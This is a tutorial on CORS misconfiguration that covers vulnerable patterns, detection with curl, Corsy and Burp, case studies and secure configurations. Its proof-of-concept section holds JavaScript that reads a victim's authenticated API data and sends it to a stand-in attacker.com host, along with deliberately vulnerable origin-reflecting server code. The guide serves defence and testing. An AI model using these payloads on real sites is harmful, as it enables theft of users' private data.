CORS Misconfiguration Vulnerability: Complete Guide to Detection and Prevention
CORS misconfigurations are one of the most consistently rewarded vulnerabilities in bug bounty programs — and one of the most underestimated. A single misconfigured Access-Control-Allow-Origin header can expose every authenticated API endpoint to attacker-controlled domains.
What is CORS and Why Does It Matter?
ℹ️ The Same-Origin Policy
By default, browsers enforce the Same-Origin Policy (SOP): JavaScript running on attacker.com cannot read responses from bank.com. CORS is the mechanism that relaxes this restriction — and when misconfigured, it can completely undermine the SOP.
Cross-Origin Resource Sharing (CORS) is an HTTP-header-based mechanism that allows a server to indicate which origins (domain + scheme + port) other than its own are permitted to read its responses. When a browser makes a cross-origin request, it enforces the server's CORS policy.
The critical headers to understand:
Access-Control-Allow-Origin— specifies which origin can read the responseAccess-Control-Allow-Credentials— whether cookies/auth headers are includedAccess-Control-Allow-Methods— permitted HTTP methodsAccess-Control-Allow-Headers— permitted request headersAccess-Control-Expose-Headers— response headers visible to JavaScript
⚠️ The Dangerous Combination
The most critical vulnerability occurs when a server returns both Access-Control-Allow-Origin: [attacker-controlled] AND Access-Control-Allow-Credentials: true. This means attackers can make authenticated requests from their site and read the responses.
CORS Misconfiguration Patterns
1. Wildcard with Credentials (Impossible by Spec, Often Attempted)
Browsers reject Access-Control-Allow-Origin: * combined with credentials. Developers often try this and then "fix" it by reflecting the origin dynamically — creating a worse vulnerability.
2. Reflecting the Origin Header Blindly
# Vulnerable server-side logic (Python/Flask)
@app.after_request
def add_cors(response):
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin # NEVER DO THIS
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
Any origin can now read authenticated responses. This is the most common CORS vulnerability found in bug bounties.
3. Weak Origin Validation (Substring/Regex Bypass)
# Vulnerable: checks if trusted domain appears ANYWHERE in origin
if 'trusted-bank.com' in request.headers.get('Origin', ''):
# Bypass: attacker registers evil-trusted-bank.com or trusted-bank.com.evil.com
allow_origin(origin)
4. Null Origin Trust
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
The null origin can be triggered via sandboxed iframes, redirects, and file:// URLs. Attackers can craft pages that send requests with Origin: null.
5. Subdomain Wildcard Without TLD Anchoring
# Meant to allow *.company.com but also allows evil.company.com.attacker.com
if origin.endswith('.company.com'):
allow_origin(origin)
6. Pre-flight Cache Poisoning
When Access-Control-Max-Age is set, cached pre-flight responses can be exploited if the origin validation logic changes without cache invalidation.
Detection: Finding CORS Misconfigurations
Manual Detection with curl
# Test 1: Basic reflection check
curl -s -I -H "Origin: https://evil.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Test 2: Null origin
curl -s -I -H "Origin: null" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Test 3: Subdomain bypass
curl -s -I -H "Origin: https://target.com.evil.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Test 4: Pre-domain bypass
curl -s -I -H "Origin: https://eviltarget.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
Automated Detection with Corsy
# Install and run Corsy
pip install corsy
python3 corsy.py -u https://target.com -t 10
# Scan a list of URLs
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"
Burp Suite Detection
In Burp Suite Pro, the Active Scanner tests for CORS misconfigurations automatically. For manual testing, use the CORS* extension from the BApp Store. Steps:
- Capture a request with Burp Proxy
- Send to Repeater
- Add
Origin: https://evil.comheader - Check if response reflects origin in
Access-Control-Allow-Origin - Check if
Access-Control-Allow-Credentials: trueis also present
What to Look For in Responses
| Response | Severity | Exploitable? |
|---|---|---|
ACAO: * | Low-Medium | Only without credentials |
ACAO: [evil origin] only | Medium | Without credentials |
ACAO: [evil origin] + ACAC: true | Critical | Yes — full credential theft |
ACAO: null + ACAC: true | High | Via sandboxed iframe |
Proof of Concept: Exploiting CORS Misconfiguration
⚠️ For Educational Purposes Only
The following PoC demonstrates the impact of CORS misconfigurations. Only test against applications you own or have explicit written permission to test.
Basic CORS PoC (Read Sensitive Data)
<!-- Hosted on attacker.com -->
<script>
fetch('https://victim.com/api/account/profile', {
credentials: 'include', // Sends cookies
mode: 'cors'
})
.then(r => r.text())
.then(data => {
// Exfiltrate to attacker's server
fetch('https://attacker.com/log?data=' + encodeURIComponent(data));
})
.catch(e => console.log('CORS blocked:', e));
</script>
Null Origin PoC (Sandboxed Iframe)
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
fetch('https://victim.com/api/userdata', {credentials:'include'})
.then(r=>r.text())
.then(d=>parent.postMessage(d,'*'));
</script>">
</iframe>
<script>
window.addEventListener('message', e => {
fetch('/log?d=' + encodeURIComponent(e.data));
});
</script>
Subdomain Takeover + CORS Chaining
If a trusted subdomain (e.g., legacy.victim.com) is available for takeover and the API trusts *.victim.com, combining subdomain takeover with CORS creates a critical impact chain.
Real-World CORS Vulnerabilities
Case Study: Major E-commerce Platform ($12,500 Bounty)
📋 Scenario
A researcher discovered that the payment API endpoint /api/v2/payment-methods reflected any origin header with credentials. By hosting a malicious page on a look-alike domain, they could silently read victims' saved credit card metadata (last 4 digits, expiry, billing address) and account balance when the victim visited the attacker's page.
Case Study: Healthcare Portal (Critical)
⚠️ Patient Data at Risk
A healthcare company's patient portal accepted requests from null origins. The internal admin API used the same CORS policy as the patient-facing API. An attacker's sandboxed iframe could read PHI (Protected Health Information) from authenticated sessions — a direct HIPAA violation.
Notable Disclosed CORS Bugs
| Company | Vulnerability | Payout |
|---|---|---|
| Shopify | Origin reflection in merchant API | $25,000 |
| Uber | Wildcard subdomain trust | $3,000 |
| Yahoo | Null origin acceptance | $2,500 |
| Starbucks | Pre-domain bypass | $4,000 |
Prevention: Hardening CORS Configurations
Allowlist-Based Origin Validation (Correct Approach)
# Python/Flask - Secure Implementation
ALLOWED_ORIGINS = {
'https://app.company.com',
'https://admin.company.com',
'https://company.com'
}
@app.after_request
def add_cors_headers(response):
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Vary'] = 'Origin' # Critical for caching!
return response
// Node.js/Express - Secure Implementation
const allowedOrigins = new Set([
'https://app.company.com',
'https://company.com'
]);
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin');
}
next();
});
Nginx CORS Configuration
# nginx.conf - Secure CORS
map $http_origin $cors_origin {
default "";
"https://app.company.com" $http_origin;
"https://company.com" $http_origin;
}
server {
location /api/ {
if ($cors_origin) {
add_header 'Access-Control-Allow-Origin' $cors_origin always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
add_header 'Vary' 'Origin' always;
}
# Never use: add_header 'Access-Control-Allow-Origin' '*';
}
}
CORS Security Checklist
- Never use wildcard (
*) with credentials - Use an explicit allowlist — never reflect the Origin header directly
- Validate the complete origin (scheme + domain + port)
- Never trust the
nullorigin in production - Always include
Vary: Originheader when dynamically setting ACAO - Apply principle of least privilege — only expose necessary endpoints cross-origin
- For internal APIs, consider disabling CORS entirely (not needed if same-origin)
- Test with Corsy or Burp Suite as part of CI/CD
CORS vs CSRF: Understanding the Difference
ℹ️ Common Confusion
CSRF exploits the browser's automatic cookie sending for state-changing requests (writes). The attacker doesn't need to read the response. CORS misconfigurations allow attackers to read cross-origin responses. Both require the victim to be authenticated. CORS does NOT protect against CSRF — use CSRF tokens for that.
Testing CORS in Your CI/CD Pipeline
# Add to your security pipeline (e.g., GitHub Actions)
- name: CORS Security Scan
run: |
# Test critical endpoints
for endpoint in /api/user /api/account /api/payments; do
response=$(curl -s -I \
-H "Origin: https://evil-test-domain.com" \
"https://${{ env.TARGET_URL }}$endpoint")
if echo "$response" | grep -qi "access-control-allow-origin: https://evil"; then
echo "CORS MISCONFIGURATION DETECTED: $endpoint"
exit 1
fi
done
echo "CORS check passed"